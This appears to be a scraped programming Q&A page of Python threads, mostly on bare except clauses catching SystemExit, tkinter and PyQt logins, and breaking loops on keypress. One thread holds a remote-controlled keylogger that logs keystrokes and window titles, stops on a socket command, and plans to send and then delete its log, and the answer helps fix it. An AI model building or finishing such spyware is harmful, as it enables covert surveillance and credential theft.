Self made exception shows up way later when exit() is called. Again - python

Here are the parts of my code that could have something to do with the problem: (I cut away as much as possible)
import os
import getpass
def PAUSE():
input("= Press <ENTER> to continue...")
def clearscreen():
os.system('cls' if os.name=='nt' else 'clear')
def loginscreen():
clearscreen()
print("==================================================================")
print("= LOGIN =")
print("==================================================================")
print("= None Important. =")
print("==================================================================")
username = input("= Please enter your username: ")
password = getpass.getpass("= Please enter the password that belongs to that username: ")
print("==================================================================")
try:
# I had too cut away the MariaDB Section for a MCVE, and thus i had to fill the dbusername and sdbpassword and isadmin, but without modifying relevant code. Thus i might have made a mistake in this array, dont use them alot sooo... if this were to occur i am sorry....
['dbusername = "stackoverflow", dbpassword = "stackoverflow", isadmin = "No"']
for row in results:
dbusername = row[0]
dbpassword = row[1]
isadmin = row [2]
if username == dbusername:
if password == dbpassword:
if isadmin == "Yes":
admin_main_menu()
elif isadmin == "No":
clearscreen()
main_menu()
########## For some reason the same problem arises when i use the commented away code under this comment.
# clearscreen()
# print("==============================================")
# print("= Unkown Username / Password =")
# print("==============================================")
# PAUSE()
# print("==============================================")
# loginscreen()
except:
clearscreen()
print("Failed to check codes. (Error: 5646FCJU), Contact N.S. Geldorp")
PAUSE()
def main_menu():
clearscreen()
print("=============================================")
print("= Main Menu =")
print("=============================================")
print("= 1. All unimportant... =")
print("= 5. Exit =")
print("=============================================")
answer = input("= Please enter the number of the function you wish to use: ")
print("=============================================")
clearscreen()
if answer == "1":
# print_animals()
print("Not needed")
PAUSE()
elif answer == "5":
# pass
print("Exiting...")
exit()
else:
print("Unimportant...")
PAUSE()
main_menu()
Now, I cut away everything but perhaps relevant parts of the login screen and the standard main menu. And of course the functions as PAUSE and clearscreen as they always reappear in relevant functions. At least if I wrote them. Now what happens is that when I have a successful login and I go to the menu, And I decide to exit, It shows me the error written in the except of the login screen... I don't get it, do you?

This is demonstration 1,442,633 of why you must never, ever use a blank except clause.
sys.exit() works by raising an exception: SystemExit. Normally, that exception bubbles all the way up to the interpreter, which catches it and exits gracefully. But because your try/except code catches everything, it catches that too; so you see your own error message instead of the interpreter quitting.
You should only ever catch the things that you know you can deal with. I'm not sure what exceptions you are expecting with that code, but presumably they are ones that are raised by the database code. You should work out which ones could be raised, and catch those only: for example, except TypeError:.
At the very least, you should restrict your except to only catch actual errors, which you can do with except Exception:; SystemExit descends from BaseException, which is the parent class of Exception which all other runtime errors descend from. But, you really shouldn't do that, you should catch the specific exceptions only.
(Note also, it makes no sense to have that for loop over the database results; I don't understand why you have done that.)

Related

Python Socket function stopper

I am trying to make a keylogger with python sockets[educational purposes only of course]. But my question is: when I send from server to client the command activate keylogger, it will start the keylogger. But when I am finished with keylogging how can I send a 'stop keylogging' command to the slave to stop the keylogging. I was thinking of threading but really dont know what I could do with it. this is the "failing" code I made:
def mainkeylogg():
stopmess = "GO"
while stopmess == "GO":
tmpwnm = GetWindowText(GetForegroundWindow()) # get the window name .
Key = read_key();
read_key() # get key .
if len(Key) >= 2:
open("Log.txt", "a").write( # MAYBE CHANGE 'A' TO 'WB'
(f"[{tmpwnm}][{Key}]\n")) # (if user press special key) save the key with window name
else:
open("Log.txt", "a").write((f"{Key}"))
print("STOPPED THREAD")
t = threading.Thread(target=mainkeylogg)
t.start()
stopmess = (conn.recv(1024)).decode() # CAUSES THE WHILE LOOP TO CLOSE?? DOESN'T WORK
if stopmess == "STOP":
print("STOPPED")
message = "DONE"
conn.send(message.encode())
EDIT(working correct code for future people seeing this):
def mainkeylogg():
global dead
dead = False
while not dead:
tmpwnm = GetWindowText(GetForegroundWindow()) # get the window name .
Key = read_key();
read_key() # get key .
if len(Key) >= 2:
open("Log.txt", "a").write( # MAYBE CHANGE 'A' TO 'WB'
(f"[{tmpwnm}][{Key}]\n")) # (if user press special key) save the key with window name
else:
open("Log.txt", "a").write((f"{Key}"))
print("STOPPED THREAD")
t = threading.Thread(target=mainkeylogg)
t.start()
message = "STARTED KEYLOGGER"
conn.send(message.encode())
def stopkeylogger():
stopmess = (conn.recv(1024)).decode()
global dead
if stopmess == "STOP":
print("STOPPED")
dead = True
message = "STOPPED KEYLOGGER"
conn.send(message.encode())
#SEND LOG FILE
# DELETE LOG FILE
else:
print("DIDNT STOP")
message = "ERROR, DID NOT STOP KEYLOGGER"
conn.send(message.encode())
The biggest problem you have is here:
t = threading.Thread(target-mainkeylogg())
Because you added the parens, that's going to call the function immediately, in the main thread. That function won't ever return, so you don't even get to create the Thread object, much less flow on to the socket stuff. Replace that with
t = threading.Thread(target=mainkeylogg)
Pass the function, NOT the result of the function.
Beyond that, as long as you spell stopmes the same way every time (which you haven't here), the basic concept is fine. Your main thread will block waiting for word from the socket. Assuming the server actually sends "GO" as two letters without a newline, it should work.

When I enter no it doesn't execute properly

import webbrowser
import time
import sys
import urllib.request
def con():
cont = input("Do you want to continue? ")
if (cont.lower() == "yes" or cont.lower() == "y"):
main()
elif (cont.lower() == "no" or cont.lower() == "n"):
sys.exit()
else:
print("Invalid answer. Please try again")
time.sleep(1)
con()
def main():
try:
website = input("What website do you want to go to? (ex. Example.com) ")
fWebsite = "http://{}".format(website)
time.sleep(1)
if (urllib.request.urlopen(fWebsite).getcode() == 200):
webbrowser.open(fWebsite)
time.sleep(1)
except:
print("Invalid website. Please enter another one")
time.sleep(1)
main()
con()
main()
when the code runs con(), when ever I try to enter no, it always says invalid website. Please enter another one. How do I fix it to exit the program? everything else works it is just this one part.
The sys.exit function works by raising an SystemExit exception. Your code has a bare except block which is catching that exception and suppressing its normal purpose (that is, to exit quietly).
The best fix for this issue is to make your except clause more specific to the kinds of exceptions you expect to catch. It is almost always a bad idea to catch everything (the only exception to that is when you're catching all exceptions, but logging and re-raising most of them).
Since your specific code is trying to deal with exceptions from urllib, catching urllib.error.URLError is probably your best bet.

How to close window / widget properly after opening another window (.py file) in pyQt4

def run(self, path):
subprocess.call(['pythonw', path])
def login(self):
members = {'sample': 'sample'}
username = self.username.text()
password = self.password.text()
if username in members:
enteredPass = members.get(username)
if password == enteredPass:
self.run('inventory.py')
#app.instance().quit()
sys.exit()
else:
self.username.clear()
self.password.clear()
print("Invalid username and password.")
else:
self.username.clear()
self.password.clear()
print("Invalid username and password.")
I want to close the log-in window after the user enters the correct login details. The window tries to close but freezes and becomes unresponsive.
My problem is how can I close the Log In form without causing it to be unresponsive? (If my code sample is lacking from where you can understand the problem, please tell me. Thank you!)
The call function waits for the return code, so forcing to close the process that launches the new application generates that behavior. You should use Popen instead of call.
subprocess.Popen(['pythonw', path])

python - authorise to continue on return press

I need to write a function in tkinter which will run until the user gives the correct password. In principle, it should be the same as:
check = input('type ok')
while True:
if check == 'ok'
break
else:
check = input('type ok')
print('You made it!')
...but with a few frustrating differences:
1. I'm not using the input() function, but rather getting text from a tkinter Text widget.
2. This check method is bound to a return press, which just generally makes things very inconvenient
The best I have, so far (in pseudo-code ish):
def authenticate():
root.bind('<Return>', check)
if auth == True:
return
else:
root.after(500, authenticate)
def check():
if pword == correct_pword:
auth = True
def signin():
auth = False
authenticate()
print('you're signed in!')
This way, authenticate only returns when the user presses enter and the password is correct. I thought that meant that the code in signin would only continue then, but this doesn't seem to be the case for whatever reason.
Is this the right approach? I don't understand why the code continues before the function has returned anything.
Like jasonharper said in his comment, you should not think the same way as for a command line program. Especially, you don't need a while loop since the mainloop of the GUI provides one already (the GUI waits for events like keyboard input, mouse click, ...).
So you just need to create the entry for the password and bind the Return key to a function that checks whether the password is right or not. Each time the user presses "Return", the function will be called and for instance destroy the login window if the password is right or clear the entry if it's wrong.
Corresponding code:
import tkinter as tk
def login(event):
pwd = entry.get()
if pwd == "ok":
print("You are logged in !")
root.destroy()
else:
entry.delete(0, "end")
root = tk.Tk()
entry = tk.Entry(root, show="*")
entry.pack()
entry.bind("<Key-Return>", login)
root.mainloop()

Python - Infinite while loop, break on user input

I have an infinite while loop that I want to break out of when the user presses a key. Usually I use raw_input to get the user's response; however, I need raw_input to not wait for the response. I want something like this:
print 'Press enter to continue.'
while True:
# Do stuff
#
# User pressed enter, break out of loop
This should be a simple, but I can't seem to figure it out. I'm leaning towards a solution using threading, but I would rather not have to do that. How can I accomplish this?
You can use non-blocking read from stdin:
import sys
import os
import fcntl
import time
fl = fcntl.fcntl(sys.stdin.fileno(), fcntl.F_GETFL)
fcntl.fcntl(sys.stdin.fileno(), fcntl.F_SETFL, fl | os.O_NONBLOCK)
while True:
print("Waiting for user input")
try:
stdin = sys.stdin.read()
if "\n" in stdin or "\r" in stdin:
break
except IOError:
pass
time.sleep(1)
I think you can do better with msvcrt:
import msvcrt, time
i = 0
while True:
i = i + 1
if msvcrt.kbhit():
if msvcrt.getwche() == '\r':
break
time.sleep(0.1)
print(i)
Sadly, still windows-specific.
On python 3.5 you can use the following code. It can be adjusted for a specific keystroke. The while loop will keep running until the user presses a key.
import time
import threading
# set global variable flag
flag = 1
def normal():
global flag
while flag==1:
print('normal stuff')
time.sleep(2)
if flag==False:
print('The while loop is now closing')
def get_input():
global flag
keystrk=input('Press a key \n')
# thread doesn't continue until key is pressed
print('You pressed: ', keystrk)
flag=False
print('flag is now:', flag)
n=threading.Thread(target=normal)
i=threading.Thread(target=get_input)
n.start()
i.start()
I could not get some of the popular answers working. So I came up with another approach using the CTRL + C to plug in user input and imbibe a keyboard interrupt. A simple solution can be using a try-catch block,
i = 0
try:
while True:
i+=1
print(i)
sleep(1)
except:
pass
# do what you want to do after it...
I got this idea from running a number of servers like flask and django. This might be slightly different from what the OP asked, but it might help someone else who wanted a similar thing.
Using the msvcrt module as thebjorn recommended I was able to come up with something that works. The following is a basic example that will exit the loop if any key is pressed, not just enter.
import msvcrt, time
i = 0
while True:
i = i + 1
if msvcrt.kbhit():
break
time.sleep(0.1)
print i
What you need is a non-blocking raw input, if you don't want to use threads there is a simple solution like this one below where he is doing a timeout of 20 ms and then raise and exception if the user doesn't press a key, if he does then the class returns the key pressed.
import signal
class AlarmException(Exception):
pass
def alarmHandler(signum, frame):
raise AlarmException
def nonBlockingRawInput(prompt='', timeout=20):
signal.signal(signal.SIGALRM, alarmHandler)
signal.alarm(timeout)
try:
text = raw_input(prompt)
signal.alarm(0)
return text
except AlarmException:
print '\nPrompt timeout. Continuing...'
signal.signal(signal.SIGALRM, signal.SIG_IGN)
return ''
Source code
I have defined the function which ask number input from the user and returns the factorial of that number. If user wants to stop they have to press 0 and then it will exit from the loop. We can specify any specific key to input 'n' to exit from the loop.
import math
def factorial_func(n):
return math.factorial(n)
while True:
n = int(input("Please enter the number to find factorial: "))
print(factorial_func(n))
if n == 0:
exit()

Categories

Resources